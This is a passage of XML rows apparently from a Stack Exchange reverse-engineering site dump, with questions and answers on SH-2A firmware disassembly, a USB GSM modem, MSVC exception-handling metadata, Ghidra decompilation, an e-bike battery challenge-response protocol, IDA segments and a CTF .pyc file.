cores.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To confirm the architecture, I tried disassembling the first part of the dump that looks like code (i.e. at offset &lt;code&gt;0x00000800&lt;/code&gt;)  This produces very plausible code confirming SH.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000800  7ffc  add #-4, r15&#xA;00000802  d60a  mov.l 0x0000082c, r6&#xA;00000804  d20a  mov.l 0x00000830, r2&#xA;00000806  3268  sub r6, r2&#xA;00000808  e500  mov #0, r5  &#xA;0000080A  a005  bra 0x00000818&#xA;0000080C  2f22  mov.l  r2, @r15&#xA;0000080E  6053  mov r5, r0&#xA;00000810  468b  mov.b r0, @r6+&#xA;00000812  61f2  mov.l @r15, r1&#xA;00000814  ...&#xA;00000824  000b  rts&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Most interesting though is the instruction at offset 0x00000810.  This is only a valid instruction in the &lt;code&gt;SH-2A&lt;/code&gt; architecture.  (For short sequences, there are online disassemblers that let you easily change architectures so you can see which work.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given we know that it's SH-2A, this &lt;a href=&quot;https://www.renesas.com/us/en/products/microcontrollers-microprocessors/superh.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;page&lt;/a&gt; seems to indicate that the MCU is likely to be from one of &lt;code&gt;SH72xx&lt;/code&gt; families.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To dig further in to the code, it helps to understand more about the MCU in terms of memory maps, embedded peripherals.  In your case, as you have the hardware, opening it up and having a look at the PCB inside will probably give you the ids of the MCU and other key components.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If you key objective is changing data (e.g. chord progressions) this is, in theory, easier than anything other than trivial modifications to code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You do however need to identify where in the firmware this info is stored. Understanding the code itself can help with this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another challenge you may face is how to persuade the firmware update process to accept your modified firmware.  You will probably have to play with version numbers and may have to reverse engineer some form of integrity check (e.g. checksum)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This may be harder if the relevant validation code is in a bootloader, not in firmware. Again, reading the relevant MCU manuals may help.  In addition, getting hold of the relevant Renesas SDK/Build Tools would help too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might want to try making a trivial modification to one of the early UI messages in the firmware (e.g. 1 character) and try upload this.  Whether this works or not will give you a good idea of the amount of effort you are getting yourself into.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, it is possible to badly mess-up firmware updates and 'brick' you device enough that it will need returning to the manufacturer for repair.  Do this at your own risk.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;There are tools that can help with much of this process.  e.g. &lt;code&gt;binwalk&lt;/code&gt; will find the RTOS name and &lt;code&gt;binwalk -A&lt;/code&gt; fill identify a few sequences of SuperH instructions.&lt;/p&gt;&#xA;" OwnerUserId="4731" LastActivityDate="2020-04-25T07:26:57.987" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24823" PostTypeId="1" AcceptedAnswerId="24826" CreationDate="2020-04-25T09:12:31.083" Score="0" ViewCount="247" Body="&lt;p&gt;I have this USB stick that seems to have a slot for a SIM and for a SD card. I don't know nothing else about this module. Searching the codes on internet I didn't find anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2oQ0M.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2oQ0M.jpg&quot; alt=&quot;One side&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/1TF8M.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1TF8M.jpg&quot; alt=&quot;The other side&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could I find something out about this? And maybe use it in some way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;It is recognized by the operative system (lsusb output &lt;code&gt;Bus 001 Device 009: ID 0b3c:c003 Olivetti Techcenter&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the kernel logs are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[ 5956.949288] usb 1-1.2: new high-speed USB device number 8 using ehci-pci&#xA;[ 5956.981766] usb 1-1.2: New USB device found, idVendor=0b3c, idProduct=f000, bcdDevice= 0.00&#xA;[ 5956.981773] usb 1-1.2: New USB device strings: Mfr=3, Product=2, SerialNumber=4&#xA;[ 5956.981778] usb 1-1.2: Product: HSPA Data Card&#xA;[ 5956.981781] usb 1-1.2: Manufacturer: USBModem&#xA;[ 5956.981785] usb 1-1.2: SerialNumber: 1234567890ABCDEF&#xA;[ 5956.984482] usb-storage 1-1.2:1.0: USB Mass Storage device detected&#xA;[ 5956.984793] scsi host4: usb-storage 1-1.2:1.0&#xA;[ 5958.011311] scsi 4:0:0:0: Direct-Access     USBModem MMC Storage      2.31 PQ: 0 ANSI: 2&#xA;[ 5958.012120] scsi 4:0:0:1: CD-ROM            USBModem MMC Storage      2.31 PQ: 0 ANSI: 2&#xA;[ 5958.013018] scsi 4:0:0:0: Attached scsi generic sg2 type 0&#xA;[ 5958.018397] sr 4:0:0:1: [sr1] scsi-1 drive&#xA;[ 5958.019526] sd 4:0:0:0: [sdb] Attached SCSI removable disk&#xA;[ 5958.020236] sr 4:0:0:1: Attached scsi CD-ROM sr1&#xA;[ 5958.020807] sr 4:0:0:1: Attached scsi generic sg3 type 5&#xA;[ 5958.323118] usb 1-1.2: USB disconnect, device number 8&#xA;[ 5958.545345] usb 1-1.2: new high-speed USB device number 9 using ehci-pci&#xA;[ 5958.577667] usb 1-1.2: New USB device found, idVendor=0b3c, idProduct=c003, bcdDevice= 0.00&#xA;[ 5958.577674] usb 1-1.2: New USB device strings: Mfr=3, Product=2, SerialNumber=4&#xA;[ 5958.577678] usb 1-1.2: Product: HSPA Data Card&#xA;[ 5958.577682] usb 1-1.2: Manufacturer: USBModem&#xA;[ 5958.577685] usb 1-1.2: SerialNumber: 1234567890ABCDEF&#xA;[ 5958.580800] option 1-1.2:1.0: GSM modem (1-port) converter detected&#xA;[ 5958.581066] usb 1-1.2: GSM modem (1-port) converter now attached to ttyUSB0&#xA;[ 5958.581601] option 1-1.2:1.1: GSM modem (1-port) converter detected&#xA;[ 5958.582001] usb 1-1.2: GSM modem (1-port) converter now attached to ttyUSB1&#xA;[ 5958.582423] option 1-1.2:1.2: GSM modem (1-port) converter detected&#xA;[ 5958.582890] usb 1-1.2: GSM modem (1-port) converter now attached to ttyUSB2&#xA;[ 5958.583337] option 1-1.2:1.3: GSM modem (1-port) converter detected&#xA;[ 5958.583616] usb 1-1.2: GSM modem (1-port) converter now attached to ttyUSB3&#xA;[ 5958.583812] usb-storage 1-1.2:1.4: USB Mass Storage device detected&#xA;[ 5958.586890] scsi host4: usb-storage 1-1.2:1.4&#xA;[ 5958.587195] option 1-1.2:1.5: GSM modem (1-port) converter detected&#xA;[ 5958.587354] usb 1-1.2: GSM modem (1-port) converter now attached to ttyUSB4&#xA;[ 5959.610911] scsi 4:0:0:0: Direct-Access     USBModem MMC Storage      2.31 PQ: 0 ANSI: 2&#xA;[ 5959.611878] sd 4:0:0:0: Attached scsi generic sg2 type 0&#xA;[ 5959.619357] sd 4:0:0:0: [sdb] Attached SCSI removable disk&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="31546" LastEditorUserId="31546" LastEditDate="2020-04-25T11:27:05.077" LastActivityDate="2020-04-25T15:01:30.383" Title="Misterious USB dongle" Tags="|hardware|usb|dongle|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24824" PostTypeId="2" ParentId="23024" CreationDate="2020-04-25T10:16:29.673" Score="1" Body="&lt;p&gt;Actually it was so obvious - I just haven't read the C++ standard and was writing &lt;code&gt;throw()&lt;/code&gt; specification thinking it would allow all exceptions - instead it turned out it was the exact opposite.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And yes this &lt;code&gt;throw&lt;/code&gt; function specification is what is causing those zero TryBlockMap  with more than one Unwind entries. Here is a VC++ 6.0 (and later) compilable example (view dissasembly of &lt;code&gt;f&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;struct B {&#xA;    int a, b;&#xA;};&#xA;&#xA;struct B1 {&#xA;    B1() {};&#xA;    B1(const B1&amp;amp; tmp) {&#xA;        a1 = tmp.a1;&#xA;        printf(&quot;B1::B1 copy constr\n&quot;);&#xA;    }&#xA;    ~B1() {&#xA;        printf(&quot;~B1()\n&quot;);&#xA;    }&#xA;    int a1, b1;&#xA;};&#xA;&#xA;struct A : B, B1 {&#xA;    int b, c;&#xA;};&#xA;&#xA;struct A f() throw(int) {&#xA;    struct A tmp;&#xA;    return tmp;&#xA;}&#xA;&#xA;int main() {&#xA;    f();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With two unwind entries. The tricky part in that scenario is that &lt;code&gt;throw&lt;/code&gt; specification is not added to the type of the function so even if you have debug symbols (PDB) - you still will have your head banging against the wall.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Actually the above example won't work for newer versions of MSVC - if you want to do it there you would need to add a &lt;code&gt;try&lt;/code&gt; - &lt;code&gt;catch&lt;/code&gt; block encapsulating the &lt;code&gt;f()&lt;/code&gt; call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also the &lt;code&gt;class A&lt;/code&gt; and all of it's parents were a test case for &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/24804/what-is-the-mdisp-field-in-rtti-for-throw-used-for&quot;&gt;another question&lt;/a&gt; related to the topic of C++ exception if you want to learn more but otherwise I don't think this exact structure is necessary to trigger the generation of FunctionInfo with zero TryBlocks. There just need to be something going on in &lt;code&gt;f&lt;/code&gt; I think.&lt;/p&gt;&#xA;" OwnerUserId="14334" LastEditorUserId="14334" LastEditDate="2020-04-25T10:31:14.197" LastActivityDate="2020-04-25T10:31:14.197" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24826" PostTypeId="2" ParentId="24823" CreationDate="2020-04-25T14:51:08.453" Score="1" Body="&lt;p&gt;It looks like a USB GSM/UMTS modem. The kernel logs are compatible. It is (was?) used to connect to internet from a PC using a SIM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is one such product:&#xA;&lt;a href=&quot;https://m.tomtop.com/it/p-c2070.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://m.tomtop.com/it/p-c2070.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The MicroSD is used to store user data, to use it as a memory stick, or sometimes used to provide management software for the modem&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here superuser question a regarding the MicroSD functionality&#xA;&lt;a href=&quot;https://superuser.com/questions/781844/why-mobile-internet-sticks-have-a-microsd-slot&quot;&gt;https://superuser.com/questions/781844/why-mobile-internet-sticks-have-a-microsd-slot&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the case il looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://sc01.alicdn.com/kf/HTB1o2ZobpyZBuNjt_jJq6zDlXXaT.jpg_350x350.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://sc01.alicdn.com/kf/HTB1o2ZobpyZBuNjt_jJq6zDlXXaT.jpg_350x350.jpg&quot; alt=&quot;Example USB dongle 1&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.ebayimg.com/images/g/heIAAMXQqfZRoiag/s-l400.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.ebayimg.com/images/g/heIAAMXQqfZRoiag/s-l400.jpg&quot; alt=&quot;Example USB dongle 2&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="21036" LastEditorUserId="21036" LastEditDate="2020-04-25T15:01:30.383" LastActivityDate="2020-04-25T15:01:30.383" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24827" PostTypeId="1" AcceptedAnswerId="24832" CreationDate="2020-04-25T17:03:08.790" Score="0" ViewCount="616" Body="&lt;p&gt;I heard about dnSpy or ILSpy for decompiling .net files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But how about those files that was NOT written by .net!?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably those files previous to XP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any tools to decompile it to, preferably, C#!?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Much appreciated!&lt;/p&gt;&#xA;" OwnerUserId="32964" LastActivityDate="2020-04-26T07:50:22.747" Title="Decompiling tools for &quot;Old&quot; exe files?" Tags="|decompiler|" AnswerCount="1" CommentCount="6" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24828" PostTypeId="2" ParentId="24818" CreationDate="2020-04-25T18:57:48.883" Score="3" Body="&lt;p&gt;So, &lt;code&gt;EHFlags&lt;/code&gt; bits are defined as follows (see &lt;code&gt;ehdata_values.h&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#define FI_EHS_FLAG             0x00000001&#xA;#define FI_DYNSTKALIGN_FLAG     0x00000002&#xA;#define FI_EHNOEXCEPT_FLAG      0x00000004&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i.e. 5 is &lt;code&gt;FI_EHS_FLAG|FI_EHNOEXCEPT_FLAG&lt;/code&gt;      &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;crt\src\vcruntime\frame.cpp&lt;/code&gt; we can find this snippet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;auto tryBlockMap = T::TryBlockMap(pFuncInfo, pDC);&#xA;if (tryBlockMap.getNumTryBlocks() != 0&#xA;    //&#xA;    // If the function has no try block, we still want to call the&#xA;    // frame handler if there is an exception specification&#xA;    //&#xA;    || (T::getMagicNum(pFuncInfo) &amp;gt;= EH_MAGIC_NUMBER2 &amp;amp;&amp;amp; (T::getESTypes(pFuncInfo) != nullptr))&#xA;    || (T::getMagicNum(pFuncInfo) &amp;gt;= EH_MAGIC_NUMBER3 &amp;amp;&amp;amp; (T::isNoExcept(pFuncInfo) != 0)))&#xA;{&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It seems the comment is a little outdated and should read &quot;if there is an exception specification &lt;em&gt;or noexcept specified&lt;/em&gt;&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;https://en.cppreference.com/w/cpp/language/noexcept_spec&quot; rel=&quot;nofollow noreferrer&quot;&gt;cppreference&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Non-throwing functions are permitted to call potentially-throwing&#xA;  functions. Whenever an exception is thrown and the search for a&#xA;  handler encounters the outermost block of a non-throwing function, the&#xA;  function std::terminate is called.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So it seems the otherwise empty FuncInfo is used here as a flag to mark a &lt;code&gt;noexcept&lt;/code&gt; function so if an exception does happen after all, the program is properly terminated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a small sample which produces such FuncInfo:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int f() noexcept&#xA;{&#xA;    static const int arr[5] = {1,2,3,4,6};&#xA;    for (int i = 0; i &amp;lt; sizeof(arr)/sizeof(*arr); i++)&#xA;    {&#xA;        std::cout &amp;lt;&amp;lt; arr[i] &amp;lt;&amp;lt; std::endl;&#xA;    }&#xA;&#xA;    return 0;&#xA;}&#xA;&#xA;int main()&#xA;{&#xA; return f();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2020-05-04T11:40:12.277" LastActivityDate="2020-05-04T11:40:12.277" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24829" PostTypeId="1" CreationDate="2020-04-26T01:05:26.050" Score="3" ViewCount="1915" Body="&lt;p&gt;&lt;br&gt; &#xA;i am working a little bit with Ghidra.&#xA;My assembly code doesn't match with the decompiled code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                             *                          FUNCTION                          *&#xA;                             **************************************************************&#xA;                             undefined __stdcall CalCrc8(undefined4 param_1, int para&#xA;                               assume LRset = 0x0&#xA;                               assume TMode = 0x1&#xA;             undefined         r0:1           &amp;lt;RETURN&amp;gt;&#xA;             undefined4        r0:4           param_1&#xA;             int               r1:4           param_2&#xA;             int               r2:4           param_3&#xA;                             CalCrc8                                         XREF[2]:     Entry Point(*), &#xA;                                                                                          Frame_Cap:0005a2b8(c)  &#xA;        00059dd8 05 4b           ldr        r3,[DAT_00059df0]                                = 0005F314h&#xA;        00059dda 10 b5           push       { r4, lr }&#xA;        00059ddc 8a 18           add        param_3,param_2,param_3&#xA;        00059dde 7b 44           add        r3,pc&#xA;        00059de0 03 e0           b          LAB_00059dea&#xA;                             LAB_00059de2                                    XREF[1]:     00059dec(j)  &#xA;        00059de2 11 f8 01 4b     ldrb.w     r4,[param_2],#0x1&#xA;        00059de6 60 40           eor        param_1,r4&#xA;        00059de8 18 5c           ldrb       param_1,[r3,param_1]=&amp;gt;Crc8Table               = &#xA;                             LAB_00059dea                                    XREF[1]:     00059de0(j)  &#xA;        00059dea 91 42           cmp        param_2,param_3&#xA;        00059dec f9 d1           bne        LAB_00059de2&#xA;        00059dee 10 bd           pop        { r4, pc }&#xA;                             DAT_00059df0                                    XREF[1]:     CalCrc8:00059dd8(R)  &#xA;        00059df0 14 f3 05 00     undefined4 0005F314h                                        ?  -&amp;gt;  0005f314&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void CalCrc8(undefined4 param_1,int param_2,int param_3)&#xA;&#xA;{&#xA;  param_3 = param_2 + param_3;&#xA;  while (param_2 != param_3) {&#xA;    param_2 = param_2 + 1;&#xA;  }&#xA;  return;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The XOR (address 00059de6) and fetching the value from the CRC8Table is missing. &#xA;How do i fix the decompiled code? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The architecture is ARM32v8.&lt;/p&gt;&#xA;" OwnerUserId="26231" LastActivityDate="2021-02-25T13:43:34.010" Title="Fixing ghidra decompilation" Tags="|disassembly|decompilation|ghidra|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24830" PostTypeId="2" ParentId="12572" CreationDate="2020-04-26T07:44:40.927" Score="0" Body="&lt;p&gt;It's an old question, but maybe somebody is searching for it nowadays. Yes, IDA can do it!&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.hex-rays.com/products/ida/gallery/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.hex-rays.com/products/ida/gallery/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.hex-rays.com/products/ida/gallery/dotnet&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.hex-rays.com/products/ida/gallery/dotnet&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="32969" LastActivityDate="2020-04-26T07:44:40.927" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24831" PostTypeId="2" ParentId="24820" CreationDate="2020-04-26T07:46:04.500" Score="1" Body="&lt;p&gt;You can write values to the $zero register, it will simply remain zero.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These 3 instructions are NOPs.&lt;/p&gt;&#xA;" OwnerUserId="30213" LastActivityDate="2020-04-26T07:46:04.500" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24832" PostTypeId="2" ParentId="24827" CreationDate="2020-04-26T07:50:22.747" Score="2" Body="&lt;p&gt;You can use Hex Rays decompiler. But you won't get C# code.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.hex-rays.com/products/decompiler/compare_vs_disassembly&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.hex-rays.com/products/decompiler/compare_vs_disassembly&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="32969" LastActivityDate="2020-04-26T07:50:22.747" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24833" PostTypeId="1" CreationDate="2020-04-26T11:49:39.183" Score="0" ViewCount="158" Body="&lt;p&gt;I'm currently trying to build a custom battery pack for an electric bike.&lt;br&gt;&#xA;The bike uses 36V batteries from Panasonic (also sold under OEM brands Victoria, Kalkhoff, Rahleigh, Flyer, Kettler).   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We've already established that the battery speaks a custom UART protocol with the bike and the charger.&lt;br&gt;&#xA;The protocol itself is easy to understand and we've already understood most of it.&lt;br&gt;&#xA;There seems to be some sort of challenge-response authentication, though.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The packet format looks as follows:   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2 byte preamble (always 2x FF)&lt;br&gt;&#xA;1 byte length (not including preamble, length, command and checksum)&lt;br&gt;&#xA;1 byte command&lt;br&gt;&#xA;n byte payload data, varying length&lt;br&gt;&#xA;1 byte checksum = ((0x100 - sum of data bytes) &amp;amp; 0xFF)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example packets, charger sending Challenge-Response to battery:&lt;br&gt;&#xA;Q: &lt;code&gt;FF FF 14 B2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3A&lt;/code&gt;&lt;br&gt;&#xA;R: &lt;code&gt;FF FF 14 D2 F9 33 FF A6 C6 6B 39 26 EF 82 BB 6E DF 63 08 05 8E 96 96 D2 44&lt;/code&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q: &lt;code&gt;FF FF 14 B2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 39&lt;/code&gt;&lt;br&gt;&#xA;R: &lt;code&gt;FF FF 14 D2 AE F8 49 86 53 4C 41 87 2D 67 CD 74 5D 91 5E 72 79 6A CD C4 37&lt;/code&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q: &lt;code&gt;FF FF 14 B2 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 96&lt;/code&gt;&lt;br&gt;&#xA;R: &lt;code&gt;FF FF 14 D2 58 3A EE ED C2 F5 C3 B3 95 72 F7 00 25 3A D7 4F 76 C1 2B 96 05&lt;/code&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q: &lt;code&gt;FF FF 14 B2 AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA F2&lt;/code&gt;&lt;br&gt;&#xA;R: &lt;code&gt;FF FF 14 D2 AB 01 C4 32 24 1D EF 96 57 5E 7F F0 8A 67 E8 71 7D 16 E3 E6 E8&lt;/code&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, there is a 20 byte / 160 bit code in the challenge as well as in the response.&lt;br&gt;&#xA;Single bit changes in the input lead to a completly different output.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have asked the real battery with a lot of different challenges and logged the results.&lt;br&gt;&#xA;Here is a .csv with ~200k challenge-response pairs:&lt;br&gt;&#xA;&lt;a href=&quot;https://tbspace.de/content/downloads/flyer_challenges_consecutive.csv.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tbspace.de/content/downloads/flyer_challenges_consecutive.csv.zip&lt;/a&gt;&lt;br&gt;&#xA;(dump also contains shorter status information packets, these need to be ignored)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately the entropy of the resulting data seems to be 1.0, which doesn't look too good.&lt;br&gt;&#xA;Together with the 160bit data length, this might point to a cryptographic hash function like SHA1.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The battery uses a Renesas M37512 8-bit microcontroller (seems to be based on the 6502).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm out of ideas on how to figure out how this challenge-response system works.&lt;br&gt;&#xA;Any ideas and suggestions are appreciated.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="20439" LastActivityDate="2021-02-27T02:30:35.557" Title="Unknown 160bit challenge-response (36V ebike battery protocol)" Tags="|firmware|embedded|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24834" PostTypeId="1" AcceptedAnswerId="24839" CreationDate="2020-04-26T11:51:04.747" Score="0" ViewCount="638" Body="&lt;p&gt;So i dumped a PE file after it was unpacked, but the problem is it references another section in the memory map, so i dumped that section and added it to IDA just like this question :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/21919/ida-pro-load-data-in-manually-created-segment&quot;&gt;IDA Pro - Load data in manually created segment&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and set the segment as read write, everything seems fine&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but it seems like the change is not reflected in the binary during execution, because even tho i can see the segment content and it seems fine, any instruction that tries to access this segment will raise an exception as if there is no segment there : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;456BAD: The instruction at 0x456BAD referenced memory at 0x19A650. The memory could not be read -&gt; 0019A650 (exc.code c0000005, tid 756)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but even during execution i can see that the content of the memory address 0x19A650 is fine, i think this might be because the binary is not changed or something, but how can i do that? tried saving patches or reloading the database and saving but didnt work!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;checked the segment access rights and its read write as well&lt;/p&gt;&#xA;" OwnerUserId="30154" LastActivityDate="2020-04-26T17:15:47.767" Title="IDA fails to recognize the new added segment during execution and seems to think its empty?" Tags="|ida|unpacking|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24835" PostTypeId="1" AcceptedAnswerId="24840" CreationDate="2020-04-26T13:58:43.797" Score="3" ViewCount="4781" Body="&lt;p&gt;i am doing the CTF-like challenges. One of these tasks need us to decompiling &lt;strong&gt;Python bytecode 3.8&lt;/strong&gt; (.pyc file) into py file. However, the py file that generated by pyc file is 0 byte&#xA;The original file's name is &lt;code&gt;flag.py&lt;/code&gt; Here are my procedures.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Rename the file: &lt;code&gt;flag.py&lt;/code&gt; -&gt; &lt;code&gt;flag.pyc&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use &lt;code&gt;uncompyle6&lt;/code&gt;tool and type command: &lt;code&gt;uncompyle6 flag.pyc &amp;gt; flag.py&lt;/code&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It will generate &lt;code&gt;flag.py&lt;/code&gt; file, however it is &lt;strong&gt;0 byte&lt;/strong&gt;. And &lt;strong&gt;after several hours&lt;/strong&gt;, it is still &lt;strong&gt;0 byte&lt;/strong&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If i interrupt the command line tool by keyboard, the &lt;code&gt;flag.py&lt;/code&gt; file will have the comment:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; uncompyle6 version 3.6.6&#xA; Python bytecode 3.8 (3413)&#xA; Decompiled from: Python 3.8.0 &#xA; [GCC 4.2.1 Compatible Clang 4.0.1 (tags/RELEASE_401/final)]&#xA; Embedded file name: flag.o.py&#xA; Compiled at: 2020-04-24 16:09:51&#xA; Size of source mod 2**32: 2476187 bytes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My environment is MacOS, Python 3.8.0. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The .pyc file is small and I've already checked the magic number of the file's header, it is Python 3.8.0.&#xA;The unusual thing of this pyc file is that there are several thousands of &lt;code&gt;ff 00&lt;/code&gt; at the end of the file. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;55 0d 0d 0a 00 00 00 00&#xA;...&#xA;ff 00 ff 00 ff 00 ff 00 &#xA;...&#xA;ff 00 ff 00 ff 00 ff 00 &#xA;b9 01 0c 06 0a 01 08 01&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any Suggestions?&lt;/p&gt;&#xA;" OwnerUserId="32956" LastActivityDate="2020-04-26T17:24:47.343" Title="Decompiling .pyc file to 0 byte .py file" Tags="|python|decompile|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
